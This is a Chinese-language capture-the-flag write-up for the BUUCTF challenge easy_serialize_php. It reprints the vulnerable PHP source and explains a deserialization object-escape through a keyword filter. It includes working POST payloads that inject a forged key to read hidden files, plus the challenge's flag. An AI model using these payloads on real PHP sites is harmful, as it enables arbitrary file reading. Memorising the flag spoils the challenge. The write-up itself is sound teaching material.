BUUCTF:[安洵杯 2019]easy_serialize_php

看题目,应该是和反序列化有关。
先查看一下源码

 <?php

$function = @$_GET['f'];

function filter($img){
     
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
     
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
     
    echo 'source_code';
}

if(!$_GET['img_path']){
     
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
     
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
     
    highlight_file('index.php');
}else if($function == 'phpinfo'){
     
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
     
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 

源码提示eval('phpinfo();'); //maybe you can find something in here!

http://url/index.php?f=phpinfo

查看phpinfo()发现里面存在文件d0g3_f1ag.php
BUUCTF:[安洵杯 2019]easy_serialize_php_第1张图片
直接访问文件,发现无法访问
此时我们选择构造反序列化逃逸进行绕过
反序列化的对象逃逸问题一般分为两种。

第一种为关键词数增加 例如: where->hacker,这样词数由五个增加到6个
第二种为关键词数减少
例如:直接过滤掉一些关键词,例如这道题目中

第一种情况比较好构造,直接构造多个关键词,这样就能逃出几个字符
第二种可以是通过键逃逸和值逃逸

从大佬那边转一些解释过来,讲的还是非常清晰的。

_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA=="}
ZDBnM19mMWFnLnBocA==也就是d0g3_f1ag.php的base64加密。

s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}这个肯定就是我们预期的那段序列化字符,

那么 ;s:1:“1”; 这几个字符呢?
如果使用大佬的payload那么可以明白,现在的_SESSION就存在两个键值即phpflag和img对应的键值对。
并且这个字符串得好好读才能不蒙圈。

$_SESSION['phpflag']=";s:1:\"1\";s:3:\"img\";s:20:\"ZDBnM19mMWFnLnBocA==\";}";
$_SESSION['img'] = base64_encode('guest_img.png');
var_dump( serialize($_SESSION) );
#"a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

经过filter过滤后phpflag就会被替换成空,
s:7:"phpflag";s:48:" 就变成了 s:7:"";s:48:";即完成了逃逸。
两个键值分别被序列化成了
s:7:"";s:48:";s:1:"1";即键名叫";s:48: 对应的值为一个字符串1。这个键值对只要能瞒天过海就行。
s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";键名img对应的字符串是d0g3_f1ag.php的base64编码。
右花括号后面的;s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"全被当成孤儿放弃了。
post提交这一串payload:

_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

BUUCTF:[安洵杯 2019]easy_serialize_php_第2张图片
利用payload查看源代码
BUUCTF:[安洵杯 2019]easy_serialize_php_第3张图片
将进行/d0g3_fllllllagbase64之后替换掉原来的base64
因为刚好都是20位。

_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

BUUCTF:[安洵杯 2019]easy_serialize_php_第4张图片
flag:

flag{
     c05b4a15-cd46-4191-a529-f02abd7f8880} 

你可能感兴趣的:(CTF_Web_Writeup,BUUCTF)